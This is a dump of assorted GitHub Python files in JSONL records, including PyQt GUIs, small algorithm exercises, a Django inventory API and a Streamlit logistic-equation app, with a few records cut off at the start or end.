self.dealer5.clicked.connect(self.dealer5Clicked)\n        self.dealer6.clicked.connect(self.dealer6Clicked)\n        self.dealer7.clicked.connect(self.dealer7Clicked)\n        self.dealer8.clicked.connect(self.dealer8Clicked)\n        self.dealer9.clicked.connect(self.dealer9Clicked)\n        self.dealer10.clicked.connect(self.dealer10Clicked)\n        self.dealerDelete.clicked.connect(self.dealerDeleteClicked)\n        self.nextHand.clicked.connect(self.nextHandClicked)\n        self.newGame.clicked.connect(self.newGameClicked)\n\n\n    def retranslateUi(self, MainWindow):\n        _translate = QtCore.QCoreApplication.translate\n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\n        self.playerA.setText(_translate(\"MainWindow\", \"Ace\"))\n        self.player2.setText(_translate(\"MainWindow\", \"2\"))\n        self.player3.setText(_translate(\"MainWindow\", \"3\"))\n        self.player4.setText(_translate(\"MainWindow\", \"4\"))\n        self.player5.setText(_translate(\"MainWindow\", \"5\"))\n        self.player6.setText(_translate(\"MainWindow\", \"6\"))\n        self.player7.setText(_translate(\"MainWindow\", \"7\"))\n        self.player8.setText(_translate(\"MainWindow\", \"8\"))\n        self.player9.setText(_translate(\"MainWindow\", \"9\"))\n        self.player10.setText(_translate(\"MainWindow\", \"10\"))\n        self.dealer2.setText(_translate(\"MainWindow\", \"2\"))\n        self.dealer5.setText(_translate(\"MainWindow\", \"5\"))\n        self.dealer10.setText(_translate(\"MainWindow\", \"10\"))\n        self.dealer4.setText(_translate(\"MainWindow\", \"4\"))\n        self.dealer9.setText(_translate(\"MainWindow\", \"9\"))\n        self.dealer6.setText(_translate(\"MainWindow\", \"6\"))\n        self.dealer7.setText(_translate(\"MainWindow\", \"7\"))\n        self.dealer8.setText(_translate(\"MainWindow\", \"8\"))\n        self.dealerA.setText(_translate(\"MainWindow\", \"A\"))\n        self.dealer3.setText(_translate(\"MainWindow\", \"3\"))\n        self.playerDelete.setText(_translate(\"MainWindow\", \"Delete\"))\n        self.dealerDelete.setText(_translate(\"MainWindow\", \"Delete\"))\n        self.DealeHand.setText(_translate(\"MainWindow\", \"Dealer Hand\"))\n        self.PlayerHand.setText(_translate(\"MainWindow\", \"Player Hand\"))\n        self.predict.setText(_translate(\"MainWindow\", \"Predict\"))\n        self.nextHand.setText(_translate(\"MainWindow\", \"Next Hand\"))\n        self.Prompt.setText(_translate(\"MainWindow\", \"PROMPT\"))\n        self.CardLabel.setText(_translate(\"MainWindow\", \"Cards Left 6 decks\"))\n        self.NumberCardsLeft.setText(_translate(\"MainWindow\", \"312\"))\n        self.newGame.setText(_translate(\"MainWindow\", \"New Game\"))\n        self.PlayerCards.setText(_translate(\"MainWindow\", \"Show Player Cards\"))\n        self.DealerCards.setText(_translate(\"MainWindow\", \"Show Dealer Cards\"))\n        self.NextWarning.setText(_translate(\"MainWindow\", \"INPUT ALL SHOWN CARDS BEFORE NEXT HAND\"))\n\n\n    def playerAClicked(self):\n        add_to_player_hand(\"A\")\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def player2Clicked(self):\n        add_to_player_hand(2)\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def player3Clicked(self):\n        add_to_player_hand(3)\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def player4Clicked(self):\n        add_to_player_hand(4)\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def player5Clicked(self):\n        add_to_player_hand(5)\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def player6Clicked(self):\n        add_to_player_hand(6)\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def player7Clicked(self):\n        add_to_player_hand(7)\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def player8Clicked(self):\n        add_to_player_hand(8)\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def player9Clicked(self):\n        add_to_player_hand(9)\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def player10Clicked(self):\n        add_to_player_hand(10)\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def playerDeleteClicked(self):\n        if len(player_hand) == 0:\n            return\n        remove_from_player_hand()\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def predictClicked(self):\n        if len(dealer_hand) != 1:\n            self.Prompt.setText(\"Dealer MUST show 1 card\")\n        else:\n            prediction = predict()\n            if(prediction[0] == 1):\n                self.Prompt.setText(\"Hit[\" + str(prediction[1][0][0]) + \"]\")\n            else:\n                self.Prompt.setText(\"Stay[\" + str(prediction[1][0][0]) + \"]\")\n\n    def dealerAClicked(self):\n        add_to_dealer_hand(\"A\")\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def dealer2Clicked(self):\n        add_to_dealer_hand(2)\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def dealer3Clicked(self):\n        add_to_dealer_hand(3)\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def dealer4Clicked(self):\n        add_to_dealer_hand(4)\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def dealer5Clicked(self):\n        add_to_dealer_hand(5)\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def dealer6Clicked(self):\n        add_to_dealer_hand(6)\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def dealer7Clicked(self):\n        add_to_dealer_hand(7)\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def dealer8Clicked(self):\n        add_to_dealer_hand(8)\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def dealer9Clicked(self):\n        add_to_dealer_hand(9)\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def dealer10Clicked(self):\n        add_to_dealer_hand(10)\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def dealerDeleteClicked(self):\n        if len(dealer_hand) == 0:\n            return\n        remove_from_dealer_hand()\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n    def nextHandClicked(self):\n        next_round()\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.Prompt.setText(\"All cards added, new round begins\")\n\n    def newGameClicked(self):\n        newGameSetup()\n        self.DealerCards.setText(\"Dealer Hand: \" + dealer_hand.__str__())\n        self.PlayerCards.setText(\"Player Hand: \" + player_hand.__str__())\n        self.Prompt.setText(\"A new game begins\")\n        self.NumberCardsLeft.setText(str(cardsLeft))\n\n\nif __name__ == \"__main__\":\n    import sys\n\n    player_hand = []\n    dealer_hand = []\n    model, card_count = setup()\n\n    cardsLeft = [312]\n\n    app = QtWidgets.QApplication(sys.argv)\n    MainWindow = QtWidgets.QMainWindow()\n    ui = Ui_MainWindow()\n    ui.setupUi(MainWindow)\n    MainWindow.show()\n    sys.exit(app.exec_())\n","repo_name":"NithilanManimaran/ML-Blackjack-Bot","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":19487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"6697055083","text":"def backtrack1(cnt):\n    if cnt == N:\n        print(*path)\n        return\n    \n    for i in range(1, 7):\n        path.append(i)\n        backtrack1(cnt + 1)\n        path.pop()\n\ndef backtrack2(cnt, start):\n    if cnt == N:\n        print(*path)\n        return\n    \n    for i in range(start, 7):\n        path.append(i)\n        backtrack2(cnt + 1, i)\n        path.pop()\n\ndef backtrack3(cnt, start):\n    if cnt == N:\n        print(*path)\n        return\n    \n    for i in range(start, 7):\n        path.append(i)\n        backtrack3(cnt+1, i+1)\n        path.pop()\n\n\nN, M = map(int, input().split())\npath = []\nif M == 1:\n    # N번 던져서 나올 수 있는 모든 경우\n    backtrack1(0)\n    pass\nelif M == 2:\n    # N번 던져서 중복이 되는 경우를 제외하고 나올 수 있는 모든 경우\n    backtrack2(0, 1)\nelse:\n    # 주사위를 N번 던져서 모두 다른 수가 나올 수 있는 모든 경우\n    backtrack3(0, 1)","repo_name":"hhheeeeee/alogirithm-solved","sub_path":"swea/backtracking/18870.py","file_name":"18870.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"7732637765","text":"#!/usr/bin/env python3\n#\n# This is free and unencumbered software released into the public domain.\n#\n# Anyone is free to copy, modify, publish, use, compile, sell, or\n# distribute this software, either in source code form or as a compiled\n# binary, for any purpose, commercial or non-commercial, and by any\n# means.\n\nimport sys\n\nwith open(sys.argv[1], \"rb\") as f:\n    cnt = 3\n    s = [\"00\"]*4\n    while True:\n        data = f.read(1)\n        if not data:\n            print(''.join(s))\n            exit(0)\n        s[cnt] = \"{:02X}\".format(data[0])\n        if cnt == 0:\n            print(''.join(s))\n            s = [\"00\"]*4\n            cnt = 4\n        cnt -= 1\n","repo_name":"olofk/serv","sub_path":"sw/makehex.py","file_name":"makehex.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":1127,"dataset":"github-code","pt":"57"}
+{"seq_id":"17887046135","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\nfrom coroutine import coroutine\n\n@coroutine\ndef buses_to_dicts(target):\n    while True:\n        event, value = (yield)\n        if event == \"start\" and value[0] == \"bus\":\n            busdict = {}\n            fragments = []\n            while True:\n                event, value = (yield)\n                if event == \"start\":\n                    fragments = []\n                elif event == \"text\":\n                    fragments.append(value)\n                elif event == \"end\":\n                    if value != \"bus\":\n                        busdict[value] = \"\".join(fragments)\n                    else:\n                        target.send(busdict)\n                        break\n\n@coroutine\ndef filter_on_field(fieldname, value, target):\n    while True:\n        bd = (yield)\n        if bd.get(fieldname) == value:\n            target.send(bd)\n\n@coroutine\ndef bus_location():\n    while True:\n        bus = (yield)\n        print(\"%(route)s, %(id)s, \\\"%(direction)s\\\", %(latitude)s, %(longitude)s\" % bus)\n\nif __name__ == \"__main__\":\n    from cosax import EventHandler\n    import xml.sax\n\n    xml.sax.parse(\"allroutes.xml\", EventHandler(buses_to_dicts(filter_on_field(\"route\", \"22\", filter_on_field(\"direction\", \"North Bound\", bus_location())))))\n    \n\n","repo_name":"12ff806/learning","sub_path":"python/generator/buses.py","file_name":"buses.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"6812845998","text":"import numpy as np\r\nimport pandas as pd\r\nimport os\r\nimport networkx as nx\r\nfrom math import sqrt\r\nimport matplotlib.pyplot as plt\r\nimport formula as myFunc\r\n\r\n\r\ndef create_dataframe_list(data_path):\r\n    list = []\r\n    filenames = os.listdir(data_path)\r\n    for name in filenames:\r\n        list.append(pd.read_csv(data_path + name))\r\n    return list\r\n\r\ndef save_graph(G, file_path):\r\n    nx.write_edgelist(G, file_path, data=['weight'])\r\n    return\r\n\r\ndef load_graph(file_path):\r\n    file = pd.read_csv(file_path, names=['d1', 'd2', 'weight'], sep=' ')\r\n    G = nx.from_pandas_dataframe(file, source='d1', target='d2', edge_attr='weight', create_using=nx.Graph())\r\n    return G\r\n\r\ndef drawGraph(G):\r\n    nx.draw(G)\r\n    plt.show()\r\n    return\r\n\r\ndef make_graph(returns_list, threshhold):\r\n    G = nx.Graph()\r\n    n = len(returns_list)\r\n    num_of_day = len(returns_list[0])\r\n    for i in range(0, n - 1):\r\n        for j in range(i + 1, n):\r\n            coeff = myFunc.calc_coeff(returns_list[i], returns_list[j], num_of_day)\r\n            if(coeff >= threshhold):\r\n                G.add_edge(i, j, weight=coeff)\r\n    return G\r\n\r\ndef find_maximum_cliques(G):\r\n    maximal_cliques = list(nx.find_cliques(G))\r\n    maximum_clique_size = len(max(maximal_cliques, key=lambda clique: len(clique))) # so dinh cua 1 maximum clique\r\n    maximum_cliques = [clique for clique in maximal_cliques if len(clique) == maximum_clique_size]\r\n    return maximum_cliques\r\n\r\ndef get_node_name_list(list_clique, list_dataframe):\r\n    list_name_return = []\r\n    for i in list_clique:\r\n        list_name_return.append(list_dataframe[i]['<Ticker>'][0])\r\n    return list_name_return\r\n\r\n# def find_maximum_cliques2(G):\r\n#     max_size = nx.graph_clique_number(g)\r\n#     lst = nx.find_cliques(g)\r\n#     cliques5 = [ clq for clq in lst if len(clq) >= 5]","repo_name":"ttlong3103/Network-approach-for-Vietnamese-stock-market","sub_path":"GraphMethod.py","file_name":"GraphMethod.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"12290078805","text":"import sys\r\nfrom PyQt5 import QtWidgets\r\nfrom CheckBoxForm import Ui_MainWindow\r\n\r\nclass myApp(QtWidgets.QMainWindow):\r\n    def __init__(self):\r\n        super(myApp,self).__init__()\r\n\r\n        self.ui = Ui_MainWindow()\r\n        self.ui.setupUi(self)\r\n\r\n        self.ui.cbSinema.stateChanged.connect(self.show_state)\r\n        self.ui.cbKitap.stateChanged.connect(self.show_state)\r\n        self.ui.cbSpor.stateChanged.connect(self.show_state)\r\n\r\n        self.ui.btnGoster.clicked.connect(self.getAllHobiler)\r\n        self.ui.btnGoster_dersler.clicked.connect(self.getAllDersler)\r\n\r\n    def getAllHobiler(self):\r\n        sonuc = ''\r\n        # items = self.ui.centralwidget.findChildren(QtWidgets.QCheckBox) #form uzerindeki tum chckbx larin bilgileri toplaniyor\r\n        \r\n        items = self.ui.groupHobiler.findChildren(QtWidgets.QCheckBox) #form uzerindeki tum chckbx larin bilgileri toplaniyor\r\n        for cb in items:\r\n            if cb.isChecked(): \r\n                sonuc += cb.text() + '\\n'\r\n        self.ui.lblSonuc.setText(sonuc)\r\n\r\n    def getAllDersler(self):\r\n        sonuc = ''\r\n        # items = self.ui.centralwidget.findChildren(QtWidgets.QCheckBox) #form uzerindeki tum chckbx larin bilgileri toplaniyor\r\n        \r\n        items = self.ui.groupDersler.findChildren(QtWidgets.QCheckBox) #form uzerindeki tum chckbx larin bilgileri toplaniyor\r\n        for cb in items:\r\n            if cb.isChecked(): \r\n                sonuc += cb.text() + '\\n'\r\n        self.ui.lblSonuc_dersler.setText(sonuc)\r\n\r\n    def show_state(self, value):\r\n        #print(value)\r\n        #print(self.ui.cbSinema.isChecked())\r\n        #print(self.ui.cbSinema.text())\r\n        cb = self.sender() \r\n        #print(value)\r\n        #print(cb.text())\r\n        #print(cb.isChecked()) \r\n\r\ndef app():\r\n    app = QtWidgets.QApplication(sys.argv)\r\n    win = myApp()\r\n    win.show()\r\n    sys.exit(app.exec_())\r\n\r\napp() ","repo_name":"SevdanurGENC/QT-Designer-Examples","sub_path":"exp-07/checkBox_.py","file_name":"checkBox_.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"57"}
+{"seq_id":"10695842231","text":"import las\nimport json\nimport requests\nimport os\nimport fnmatch\n\nurl = 'http://fuzzylas.appspot.com/lookup?'\n\ninput_dir = '../geohack_well_data'\noutput_dir = 'well_info'\n\nif not os.path.exists(output_dir):\n    os.makedirs(output_dir)\n\nfor path, dirs, files in os.walk(input_dir):\n\n    for f in fnmatch.filter(files, '*.las'):\n        las_file = os.path.join(path, f)\n        las_reader = las.LASReader(las_file)\n\n        output_file = os.path.join(output_dir,f.split('.')[0]) +\".txt\"\n        \n\n        with open(output_file, 'w') as output:\n            for name in las_reader.data.dtype.names:\n\n                r = requests.get(url + 'mnemonic=%s&guesses=1&format=json'\n                                 %name)\n                if name in r.json()[0]:\n                    output.write(name + ','\n                                 + r.json()[0][name][0]['description'] + '\\n')\n","repo_name":"jfoshee/rockhack","sub_path":"las_descriptions.py","file_name":"las_descriptions.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"57"}
+{"seq_id":"38708891535","text":"import json\n\n\ndef read_config(file_path='config.json'):\n    '''\n    Function to read configuration file and\n    return configuration dictionary.\n    '''\n    config_data = {}\n    with open(file_path) as config_file:\n        config_data = json.load(config_file)\n    return config_data\n\n\ndef get_mapping_dictionary(config_data):\n    '''\n    Function to convert configuration dictionary\n    to mapping dictionary.\n    '''\n    return {\n        '.' + extension.split()[0]: directory_name\n        for directory_name, extensions in config_data.items()\n        for extension in extensions.split(',')\n    }\n","repo_name":"InspiredCoders/inception","sub_path":"inception/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"14454202572","text":"from datetime import datetime\nimport queue\nfrom django.shortcuts import render\nfrom django.db.models.functions import Coalesce, TruncMonth\n\nfrom django.db.models import Count, Sum, F\n\nfrom rest_framework.views import APIView\nfrom rest_framework import viewsets\nfrom rest_framework.response import Response\n\nfrom user_control.permissions import IsAuthenticatedCustom\nfrom .serializer import InventoryGroupSerializer, InventorySerializer, InventoryWithSumSerializer, InvoiceSerializer, ShopSerializer, InvoiceItemSerializer, ShopWithAmountSerializer\nfrom .models import Inventory, InventoryGroup, Invoice, InvoiceItem, Shop\nfrom me_inventory.utils import CustomPagination, get_query\n\n\n\n# Create your views here.\n\n\n\nclass InventoryView(viewsets.ModelViewSet) :\n    queryset = Inventory.objects.all()\n    serializer_class = InventoryWithSumSerializer\n    permission_classes = (IsAuthenticatedCustom)\n\n\n\n    def get_queryset(self):\n\n        if self.request.method.lower() != \"get\":\n            return self.queryset\n        data = self.request.query_params.dict()\n        data.pop(\"page\", None)\n        keyword = data.pop(\"keyword\", None)\n        \n        results = self.queryset.filter(**data)\n        if keyword :\n            search_fields = [\n                \"code\", \"created_by__fullname\", \"created_by__email\",\"group__name\", \"name\"\n            ]\n            query = get_query(keyword, search_fields)\n            print(query)\n            return results.filter(query)\n        return results\n\n    def create(self, request, *args, **kwargs):\n        print(request.data)\n        try :\n            request.data._mutable = True\n        except : \n            pass\n        request.data.update({'created_by_id' : request.user.id})\n        return super().create(request, *args, **kwargs)\n\n\nclass InventoryGroupView(viewsets.ModelViewSet) :\n    queryset = InventoryGroup.objects.all()\n    serializer_class = InventoryGroupSerializer\n    permission_classes = (IsAuthenticatedCustom)\n\n\n\n\nclass ShopView(viewsets.ModelViewSet) :\n    queryset = Shop.objects.all()\n    serializer_class = ShopSerializer\n    pagination_class = CustomPagination\n    permission_classes = (IsAuthenticatedCustom)\n\n\n    def get_queryset(self):\n\n        if self.request.method.lower() != \"get\":\n            return self.queryset\n        data = self.request.query_params.dict()\n        data.pop(\"page\", None)\n        keyword = data.pop(\"keyword\", None)\n        \n        results = self.queryset.filter(**data)\n        if keyword :\n            search_fields = [\n                \"code\", \"created_by__fullname\", \"created_by__email\",\"group__name\", \"name\"\n            ]\n            query = get_query(keyword, search_fields)\n            print(query)\n            return results.filter(query)\n        return results\n\n    def create(self, request, *args, **kwargs):\n        request.data._mutable = True\n        request.data.update({'created_by_id' : request.user.id})\n        return super().create(request, *args, **kwargs)\n\n\nclass InvoiceView(viewsets.ModelViewSet) :\n    queryset = Invoice.objects.all()\n    serializer_class = InvoiceSerializer\n    pagination_class = CustomPagination\n    permission_classes = (IsAuthenticatedCustom)\n\n    def get_queryset(self):\n\n        if self.request.method.lower() != \"get\":\n            return self.queryset\n        data = self.request.query_params.dict()\n        data.pop(\"page\", None)\n        keyword = data.pop(\"keyword\", None)\n        \n        results = self.queryset.filter(**data)\n        if keyword :\n            search_fields = [\n                \"code\", \"created_by__fullname\", \"created_by__email\",\"group__name\", \"name\"\n            ]\n            query = get_query(keyword, search_fields)\n            print(query)\n            return results.filter(query)\n        return results\n\n    def create(self, request, *args, **kwargs):\n        try :\n            request.data._mutable = True\n        except :pass\n        request.data.update({\"created_by_id\":request.user.id})\n        return super().create(request)\n\n\n\nclass InvoiceItemView(viewsets.ModelViewSet) :\n    queryset = InvoiceItem.objects.all()\n    serializer_class = InvoiceItemSerializer\n\n    permission_classes = (IsAuthenticatedCustom)\n\n\n\n\n\nclass SalePerformanceView(viewsets.ModelViewSet) :\n    http_method_names = ('get',)\n    queryset = InventoryView.queryset\n    serializer_class = InventoryView.serializer_class\n\n    permission_classes = (IsAuthenticatedCustom)\n\n    def list(self, request, *args, **kwargs):\n        query_data = request.query_params.dict()\n        total = query_data.get(\"total\", None)\n        query = self.queryset\n\n        if not total :\n            start_date = query_data.get(\"start_date\", None)\n            end_date = query_data.get('end_date', None)\n            date = lambda item : datetime.strptime(item, \"%d-%m-%Y\")\n            if start_date :\n                query = query.filter(\n                    created_at__range = [date(start_date), date(end_date)]\n                )\n        \n        items = query.annotate(\n            sum_of_item = Coalesce(\n                Sum('inventory_invoices__quantity'), 0\n            )\n        ).order_by(\"-sum_of_item\")[0:10]\n\n\n        return Response(self.serializer_class(instance = items, many = True).data)\n\n\nclass SaleByShopView(viewsets.ModelViewSet) :\n    http_method_names = ('get',)\n    queryset = InventoryView.queryset\n    permission_classes = (IsAuthenticatedCustom)\n\n\n    def list(self, request, *args, **kwargs):\n\n        data = request.query_params.dict()\n\n        total = data.get(\"total\", None)\n        monthly = data.get(\"monthly\")\n        start_date = data.get(\"start_date\", None)\n        end_date = data.get(\"end_date\", None)\n        date = lambda item : datetime.strptime(item, \"%d-%m-%Y\")\n\n        query = ShopView.queryset\n\n\n        if not total :\n            query = query.filter(\n                sale_shop__created_at__range = [date(start_date), date(end_date)]\n            )\n\n        if monthly :\n            query = query.annotate(\n                month = TruncMonth('created_at'),\n            ).values(\"name\", \"month\").annotate(amount_total = Sum(\n                F(\"sale_shop__invoice_items__quantity\") *\n                F(\"sale_shop__invoice_items__amount\")\n            ))\n        else :\n            shops = query.annotate(amount_total=Sum(\n                    F(\"sale_shop__invoice_items__quantity\") * \n                    F(\"sale_shop__invoice_items__amount\")\n                )).order_by(\"-amount_total\")\n\n\n        response_data = ShopWithAmountSerializer(shops, many=True).data\n        return Response(response_data)\n\n\n\n\n\nclass PurchaseView(viewsets.ModelViewSet):\n    http_method_names = ('get',)\n    queryset = InvoiceView.queryset\n    \n    permission_classes = (IsAuthenticatedCustom)\n\n    def list(self, request, *args, **kwargs):\n        query_data = request.query_params.dict() \n        total = query_data.get('total', None)\n        query = InvoiceItem.objects.select_related(\"invoice\", \"item\")\n\n\n        date = lambda item : datetime.strptime(item, \"%d-%m-%Y\")\n\n        if not total:\n            start_date = query_data.get(\"start_date\", None)\n            end_date = query_data.get(\"end_date\", None)\n\n            if start_date:\n                query = query.filter(\n                    created_at__range=[date(start_date), date(end_date)]\n                )\n\n        query = query.aggregate(\n            amount_total=Sum(F('amount') * F('quantity')), total=Sum('quantity')\n            )\n\n        return Response({\n            \"price\": \"0.00\" if not query.get(\"amount_total\") else query.get(\"amount_total\"),\n            \"count\": 0 if not query.get(\"total\") else query.get(\"total\"),\n        })\n","repo_name":"qasas145/inventory_api","sub_path":"app_control/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"15046333501","text":"# 52번 이진 탐색 트리(BST) 합의 범위\n\n# 이진 트리 노드를 정의\nclass TreeNode:\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\n# 풀이 3. 반복 구조 DFS로 필요한 노드 탐색\nclass Solution:\n    def rangeSumBST(self, root: TreeNode, L: int, R: int) -> int:\n        stack, sum = [root], 0\n        # 스택을 이용하여 필요한 노드 DFS 반복\n        while stack:\n            node = stack.pop()\n            if node:\n                if node.val > L:\n                    stack.append(node.left)\n                if node.val < R:\n                    stack.append(node.right)\n                if L <= node.val <= R:\n                    sum += node.val\n        return sum\n","repo_name":"TAVE-7-python-algorithm-study/TAVE-algorithm","sub_path":"NonLinearDataStructure/Tree/52_Range_Sum_of_BST/52-3.py","file_name":"52-3.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"39965121600","text":"#1- Hacer una función que recibe una lista y un entero e indique si el entero está en la lista.\n\n\n\ndef esta(lista,entero):\n    for i in lista:\n        if i==entero:\n            return True\n    else:\n        return False\n\nlista_enteros=[1,2,3,4,5,6,7,8,9]\nnumero=10\n\n","repo_name":"AbelAlarconOK/INTRODUCCION-PROGRAMACION","sub_path":"INTRODUCCION-PROGRAMACION/Practiaca 5/Esta.py","file_name":"Esta.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"18114017572","text":"class Solution:\n    def getHint(self, secret: str, guess: str) -> str:\n        # return self.mapGetHint(secret, guess)\n        return self.editorialGetHint(secret, guess)\n\n    def editorialGetHint(self, secret: str, guess: str) -> str:\n        \"\"\"Solution from LeetCode editorial, one pass map\"\"\"\n        h = collections.defaultdict(int)\n        bulls = cows = 0\n\n        for idx, s in enumerate(secret):\n            g = guess[idx]\n            if s == g:\n                bulls += 1\n            else:\n                cows += int(h[s] < 0) + int(h[g] > 0)\n                h[s] += 1\n                h[g] -= 1\n\n        return \"{}A{}B\".format(bulls, cows)\n\n    def mapGetHint(self, secret: str, guess: str) -> str:\n        bulls, cows, = 0, 0\n        g_map = dict()\n        s_map = dict()\n\n        for i in range(len(guess)):\n            s = secret[i]\n            g = guess[i]\n            if g == s:\n                bulls += 1\n                continue\n            if g in s_map and s_map[g] != 0:\n                s_map[g] -= 1\n                cows += 1\n            elif g in g_map:\n                g_map[g] += 1\n            else:\n                g_map[g] = 1\n            if s in g_map and g_map[s] != 0:\n                g_map[s] -= 1\n                cows += 1\n            elif s in s_map:\n                s_map[s] += 1\n            else:\n                s_map[s] = 1\n\n        return f\"{bulls}A{cows}B\"","repo_name":"RobertBehring/LeetCode-Problems","sub_path":"299. Bulls and Cows/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"5373265599","text":"import streamlit as st\nfrom PIL import Image\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n#----------------------------------------------------------------------------#\n# Page layout\n# Page expands to full width\nst.set_page_config(layout=\"wide\")\n# st.set_page_config(layout=\"centered\")\n#----------------------------------------------------------------------------#\n\n# Title\n\nst.title('Logistic Equation App')\n\nst.markdown(\"\"\"\nThis app simulate the iteration result of logistic equation for given growth rate, initial value and iteration steps.\n\"\"\")\n\nimage = Image.open('logo.gif')\nst.image(image, width=750)\n\n#----------------------------------------------------------------------------#\n# About\nexpander_bar = st.expander(\"About\")\nexpander_bar.markdown(\"\"\"\n* **Python libraries:** streamlit, matplotlib, PIL, numpy\n* **Logistic Equation:** X(n)=r\\*X(n-1)\\*(1-X(n-1)), *r* is growth rate.\n* **Credit:** Inspired by [Complexity Explorer website](https://www.complexityexplorer.org)\n* **Bifurcation:** Source from [Complexity Explorer website](https://s3.amazonaws.com/complexityexplorer/DynamicsAndChaos/Programs/bifurcation.html)\n\"\"\")\n\n#----------------------------------------------------------------------------#\n# Page layout (continued)\n# Divide page to 2 columns (col1=sidebar, col2=page contents)\ncol1, col2 = st.columns((2, 1))\ncol1 = st.sidebar\n\n#----------------------------------------------------------------------------#\ncol1.header('Set Parameters')\n\n# Sldebar - set parameters\niteration_steps = col1.slider('The number of itereations (n)', 1, 1000, 20)\ninitial_value = col1.slider('The initial value of (x0)', 0.0, 1.0, 0.4)\ninitial_value1 = col1.slider('The initial value of (y0)', 0.0, 1.0, 0.6)\ngrowth_rate = col1.slider('The growth rate (r)', 0.0, 4.0, 1.5)\n\n# col2.header('The results of iterations')  # not align to the left\n# align the header text to the left\nst.markdown(\"<h3 style='text-align: left; color: blue;'>The results of iterations</h3>\",\n            unsafe_allow_html=True)\n\n# Show a horizontal line\n# st.write('---')\n\n#----------------------------------------------------------------------------#\n# Define logistic equation and do interations\n# Return three list, x, y and difference of them\n\n\ndef logistic_equation(steps, x0, y0, r):\n    iterate_result = []\n    iterate_result1 = []\n    iterate_diff = []\n    iterate_result.append(x0)\n    iterate_result1.append(y0)\n    iterate_diff.append(x0-y0)\n 